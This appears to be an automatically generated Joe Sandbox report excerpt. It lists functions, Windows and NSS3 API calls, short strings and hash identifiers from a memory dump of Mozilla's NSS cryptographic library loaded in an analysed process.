SECITEM_CopyItem_Util.NSS3(?,00000000,6C5ACD93,?,?,?,?,?,?,?,?,?,?,?,6C5ACD93,?), ref: 6C5ACF78

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 78e96db5a8a1a3d8e139a29179bc62f334ca49cb853891b31fddc55f6dd66f1b
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 5711A2B5A002059BEB00ABEB6C41B6FB6EC9F9854DF044139ED0AD7741FB61ED09C6B1

Function 6C558C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C558C1B
EnterCriticalSection.KERNEL32 ref: 6C558C34
PL_ArenaAllocate.NSS3 ref: 6C558C65
PR_Unlock.NSS3 ref: 6C558C9C
PR_Unlock.NSS3 ref: 6C558CB6

Part of subcall function 6C5EDD70: TlsGetValue.KERNEL32 ref: 6C5EDD8C
Part of subcall function 6C5EDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C5EDDB4

Strings

KRAM, xrefs: 6C558C8F

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: c3cd28a7cf5496d6bd2be92f26ee0deef2686b1c0ab7558eb0f7012ef8c5157c
Instruction ID: aa425983f45058a4db19b97ee1e05cb6de16eb412b2e82955be040da9beedacd
Opcode Fuzzy Hash: c3cd28a7cf5496d6bd2be92f26ee0deef2686b1c0ab7558eb0f7012ef8c5157c
Instruction Fuzzy Hash: 7D217CB1A15A01CFD700AF79C884569BBF4FF55304F45896BD888CB711EB35D89ACB82

Function 6C568E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6C582E62,?,?,?,?,?,?,?,00000000,?,?,?,6C554F1C), ref: 6C568EA2

Part of subcall function 6C58F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C58F854
Part of subcall function 6C58F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C58F868
Part of subcall function 6C58F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C58F882
Part of subcall function 6C58F820: free.MOZGLUE(04C483FF,?,?), ref: 6C58F889
Part of subcall function 6C58F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C58F8A4
Part of subcall function 6C58F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C58F8AB
Part of subcall function 6C58F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C58F8C9
Part of subcall function 6C58F820: free.MOZGLUE(280F10EC,?,?), ref: 6C58F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6C582E62,?,?,?,?,?,?,?,00000000,?,?,?,6C554F1C), ref: 6C568EC3
TlsGetValue.KERNEL32(?,?,?,6C582E62,?,?,?,?,?,?,?,00000000,?,?,?,6C554F1C), ref: 6C568EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6C582E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6C568EF1
PR_Unlock.NSS3 ref: 6C568F20

Strings

b.Xl, xrefs: 6C568E96, 6C568F25

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.Xl
API String ID: 1978757487-3034476881
Opcode ID: 4b6a4fb07cd380b03bba11713b0ef08fc250a7e79e0e3a9b862c8d200fd27d1c
Instruction ID: 2054fd5daa8dce539244ef62a7b746f2818826e1b436b1b823106b97940b97bc
Opcode Fuzzy Hash: 4b6a4fb07cd380b03bba11713b0ef08fc250a7e79e0e3a9b862c8d200fd27d1c
Instruction Fuzzy Hash: 34216B70A09605DBC700AF2AD984199BBF0FF89318F45466EE8989BB51DB30E854CBC2

Function 6C598970 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,6C5461C4,?,6C545639,00000000), ref: 6C598991
TlsGetValue.KERNEL32(?,?,?,?,?,6C545639,00000000), ref: 6C5989AD
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C545639,00000000), ref: 6C5989C6
PR_WaitCondVar.NSS3 ref: 6C5989F7
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C545639,00000000), ref: 6C598A0C

Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307AD
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307CD
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307D6
Part of subcall function 6C5307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C4C204A), ref: 6C5307E4
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,6C4C204A), ref: 6C530864
Part of subcall function 6C5307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C530880
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,6C4C204A), ref: 6C5308CB
Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(?,?,6C4C204A), ref: 6C5308D7
Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(?,?,6C4C204A), ref: 6C5308FB

Strings

9VTl, xrefs: 6C598986

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Value$calloc$CondCriticalEnterSectionUnlockWait
String ID: 9VTl
API String ID: 2759447159-1585811222
Opcode ID: d8063730b91b1c1a60e53619412c9b418a9c03f945af72c090c23d3a7e884490
Instruction ID: 41ecf608dd919a666c2b8a645274c673a5c8e619073800be0654fe3cb7895de6
Opcode Fuzzy Hash: d8063730b91b1c1a60e53619412c9b418a9c03f945af72c090c23d3a7e884490
Instruction Fuzzy Hash: D1215AB0A04755CFDB00AF79C9841AABBF4FF46358F114AA6DC9897605E730E894CB93

Function 6C5EA540 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 6C5EA390: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5EA415

PK11_ExtractKeyValue.NSS3(00000000), ref: 6C5EA5AC
memcpy.VCRUNTIME140(?,?,?), ref: 6C5EA5BF
PK11_FreeSymKey.NSS3(00000000), ref: 6C5EA5C8

Part of subcall function 6C58ADC0: TlsGetValue.KERNEL32(?,6C56CDBB,?,6C56D079,00000000,00000001), ref: 6C58AE10
Part of subcall function 6C58ADC0: EnterCriticalSection.KERNEL32(?,?,6C56CDBB,?,6C56D079,00000000,00000001), ref: 6C58AE24
Part of subcall function 6C58ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C56D079,00000000,00000001), ref: 6C58AE5A
Part of subcall function 6C58ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C56CDBB,?,6C56D079,00000000,00000001), ref: 6C58AE6F
Part of subcall function 6C58ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C56CDBB,?,6C56D079,00000000,00000001), ref: 6C58AE7F
Part of subcall function 6C58ADC0: TlsGetValue.KERNEL32(?,6C56CDBB,?,6C56D079,00000000,00000001), ref: 6C58AEB1
Part of subcall function 6C58ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C56CDBB,?,6C56D079,00000000,00000001), ref: 6C58AEC9

PK11_FreeSymKey.NSS3(00000000), ref: 6C5EA5D9
PR_SetError.NSS3(FFFFD04C,00000000), ref: 6C5EA5E8

Strings

*@, xrefs: 6C5EA589

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: K11_Value$CriticalEnterErrorFreeSection$ExtractUnlockfreememcpymemset
String ID: *@
API String ID: 2660593509-1483644743
Opcode ID: 3de5ae1189d7eecc564554f479c88bfd42d78cf51492ca66ff48ff37d6b1915b
Instruction ID: 6d160196e1f934df8db608c7cd5f5d5b377b9932961f6ec818987c49f6992231
Opcode Fuzzy Hash: 3de5ae1189d7eecc564554f479c88bfd42d78cf51492ca66ff48ff37d6b1915b
Instruction Fuzzy Hash: D42102B2D002149BCB009F299C006AFBBB4AFCD32CF014229EC5873741E734AA58CBD6

Function 6C652C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C652CA0
PR_ExitMonitor.NSS3 ref: 6C652CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C652CD1
strdup.MOZGLUE(?), ref: 6C652CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C652D27

Strings

Loaded library %s (static lib), xrefs: 6C652D22

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 1c08177a6977950972f2dfaa3f0e9dbb8f97993b2688f29346b8edc19573f06c
Instruction ID: 05c849ecbe711fafc6f59819ec417242068f2e54a0c6e5735f7af2146dd4bf34
Opcode Fuzzy Hash: 1c08177a6977950972f2dfaa3f0e9dbb8f97993b2688f29346b8edc19573f06c
Instruction Fuzzy Hash: 0211E6B1701210DFEB008F56E884A6A77B5AB4635DFA4812DD809C7B52E731E818CBA9

Function 6C5468E0 Relevance: 10.6, APIs: 7, Instructions: 56COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C5468FB
EnterCriticalSection.KERNEL32 ref: 6C546913
PORT_FreeArena_Util.NSS3 ref: 6C54693E
PR_Unlock.NSS3 ref: 6C546946
DeleteCriticalSection.KERNEL32 ref: 6C546951
free.MOZGLUE ref: 6C54695D
PR_Unlock.NSS3 ref: 6C546968

Part of subcall function 6C5EDD70: TlsGetValue.KERNEL32 ref: 6C5EDD8C
Part of subcall function 6C5EDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C5EDDB4

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CriticalSection$UnlockValue$Arena_DeleteEnterFreeLeaveUtilfree
String ID:
API String ID: 1628394932-0
Opcode ID: 83f2f152623a94c007aa17c0bf82956916d2d573718785bb643eb6f3d75413be
Instruction ID: 25ebe7bfffb110eb5b745b75a929fc0ff3b0ed095ea3f638470d6b3d3449fbf1
Opcode Fuzzy Hash: 83f2f152623a94c007aa17c0bf82956916d2d573718785bb643eb6f3d75413be
Instruction Fuzzy Hash: 61111CB5604705DFDB00AF79C8C856EBBF4BF46348F054969D899DB601EB30D888CB92

Function 6C5A0FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5487ED,00000800,6C53EF74,00000000), ref: 6C5A1000
PR_NewLock.NSS3(?,00000800,6C53EF74,00000000), ref: 6C5A1016

Part of subcall function 6C6098D0: calloc.MOZGLUE(00000001,00000084,6C530936,00000001,?,6C53102C), ref: 6C6098E5

PL_InitArenaPool.NSS3(00000000,security,6C5487ED,00000008,?,00000800,6C53EF74,00000000), ref: 6C5A102B
TlsGetValue.KERNEL32(00000000,?,?,6C5487ED,00000800,6C53EF74,00000000), ref: 6C5A1044
free.MOZGLUE(00000000,?,00000800,6C53EF74,00000000), ref: 6C5A1064

Strings

security, xrefs: 6C5A1025

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: 3b3a7620978c2a6d8c6c9b791d4c9984579027b6d0b9d7184e548e2693e3b813
Instruction ID: 82a06a104efd882cfd524baad5deb6e2a29bab123650fa53572931b088193a2f
Opcode Fuzzy Hash: 3b3a7620978c2a6d8c6c9b791d4c9984579027b6d0b9d7184e548e2693e3b813
Instruction Fuzzy Hash: 71014830A40250DBE720AFBF9C09A5F7A68BF42759F010516E808D7A51EB70C506DBD9

Function 6C5E49C0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000000,00000000,00000678,?,?,6C5D5F34,00000A20), ref: 6C5E49EC

Part of subcall function 6C59FAB0: free.MOZGLUE(?,-00000001,?,?,6C53F673,00000000,00000000), ref: 6C59FAC7

SECITEM_ZfreeItem_Util.NSS3(?,00000000,6C5D5F34,00000A20,?,?,?,?,?,?,?,?,?,6C5DAAD4), ref: 6C5E49F9
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,6C5D5F34,00000A20,?,?,?,?,?,?,?,?,?,6C5DAAD4), ref: 6C5E4A06
free.MOZGLUE(?,?,?,?,?,6C5D5F34,00000A20), ref: 6C5E4A16
free.MOZGLUE(?,?,?,?,?,6C5D5F34,00000A20), ref: 6C5E4A1C

Strings

4_]l , xrefs: 6C5E49C6, 6C5E4A21

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Item_UtilZfreefree
String ID: 4_]l
API String ID: 2193358613-2576454789
Opcode ID: 7c44487fb3cf7049d182df5dbb5a636794f15e05b3ddfb76d5f8fb10b3d820a3
Instruction ID: 245f0d3032917cd6125c5e2aa1aa14d6a94805a3a52257be2fe2cb82d041e306
Opcode Fuzzy Hash: 7c44487fb3cf7049d182df5dbb5a636794f15e05b3ddfb76d5f8fb10b3d820a3
Instruction Fuzzy Hash: 8C0121B69001149FCB00DF69DCC4C967BBCEF8925974585A5E909DB701E731ED04CBB5

Function 6C5D0570 Relevance: 10.5, APIs: 7, Instructions: 47COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C5BC89B,FFFFFE80,?,6C5BC89B), ref: 6C5D058B
free.MOZGLUE(?,?,6C5BC89B), ref: 6C5D0592
PR_SetError.NSS3(FFFFE09A,00000000,FFFFFE80,?,6C5BC89B), ref: 6C5D05AE
PR_SetError.NSS3(FFFFE09A,00000000,FFFFFE80,?,6C5BC89B), ref: 6C5D05C2
DeleteCriticalSection.KERNEL32(6C5BC89B,?,6C5BC89B), ref: 6C5D05D8
free.MOZGLUE(?,?,6C5BC89B), ref: 6C5D05DF
PR_SetError.NSS3(FFFFE09A,00000000,?,6C5BC89B), ref: 6C5D05FB

Part of subcall function 6C5EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C5EC2BF

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Error$CriticalDeleteSectionfree$Value
String ID:
API String ID: 1757055810-0
Opcode ID: bd27cb236f5861c88d87bd3306e00ca4a1321a3f23e08b90d2ca562fb709bc7e
Instruction ID: 120faaaf2387c3efc60394d667cc6995765eeaa6343c2774637f56cb7473c1b2
Opcode Fuzzy Hash: bd27cb236f5861c88d87bd3306e00ca4a1321a3f23e08b90d2ca562fb709bc7e
Instruction Fuzzy Hash: B1012871E85251ABEF20AFEAAC4DB4E7B785B8B319F410021ED0A56B41D361B108839D

Function 6C65CBE0 Relevance: 10.5, APIs: 7, Instructions: 46COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000010), ref: 6C65CBEA
PR_NewLock.NSS3 ref: 6C65CBF9

Part of subcall function 6C6098D0: calloc.MOZGLUE(00000001,00000084,6C530936,00000001,?,6C53102C), ref: 6C6098E5

PR_NewCondVar.NSS3(00000000), ref: 6C65CC05

Part of subcall function 6C52BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C5321BC), ref: 6C52BB8C

free.MOZGLUE(00000000), ref: 6C65CC1C
DeleteCriticalSection.KERNEL32(-0000001C), ref: 6C65CC34
free.MOZGLUE(00000000), ref: 6C65CC41
free.MOZGLUE(00000000), ref: 6C65CC47

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: callocfree$CondCriticalDeleteLockSection
String ID:
API String ID: 687540378-0
Opcode ID: 75176a43101e12526c7bba9e8b4ef578ed5ebf41c518f8d242cfe628fb486c5d
Instruction ID: 624bdb16d4d2aaaef63b76ae5fe0bb4c2ee9d29ff0cf8725d7174122cfb41e90
Opcode Fuzzy Hash: 75176a43101e12526c7bba9e8b4ef578ed5ebf41c518f8d242cfe628fb486c5d
Instruction Fuzzy Hash: F4F028717012027BE7007F7D9C9599B76AC9F4A7A9F540434E94BC3B01EA11D420C3BE

Function 6C65C9B0 Relevance: 10.5, APIs: 7, Instructions: 45COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(00000000,6C5D1AB6,00000000,?,?,6C5D07B9,?), ref: 6C65C9C6
free.MOZGLUE(?,?,6C5D07B9,?), ref: 6C65C9D3
DeleteCriticalSection.KERNEL32(00000000,00000001), ref: 6C65C9E5
free.MOZGLUE(?), ref: 6C65C9EC
DeleteCriticalSection.KERNEL32(00000080), ref: 6C65C9F8
free.MOZGLUE(?), ref: 6C65C9FF
free.MOZGLUE(00000000), ref: 6C65CA0B

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 896753277cb99bb4326a7f60a678aadaf01a3e07975cb93a09911dece51e7da9
Instruction ID: fbd77e550a2734916df508306a999bbd2a2cc6bfe194ad499a724c9875b19b17
Opcode Fuzzy Hash: 896753277cb99bb4326a7f60a678aadaf01a3e07975cb93a09911dece51e7da9
Instruction Fuzzy Hash: 25012CB2600606BBDB00EFB5C888857B7B8FA4A261B040525E906C3600D735F455CBA9

Function 6C5E2E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C5E3046

Part of subcall function 6C5CEE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5CEE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C5B7FFB), ref: 6C5E312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5E3154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C5E2E8B

Part of subcall function 6C5EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C5EC2BF

Part of subcall function 6C5CF110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C5B9BFF,?,00000000,00000000), ref: 6C5CF134

memcpy.VCRUNTIME140(8B3C75C0,?,6C5B7FFA), ref: 6C5E2EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5E317B

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
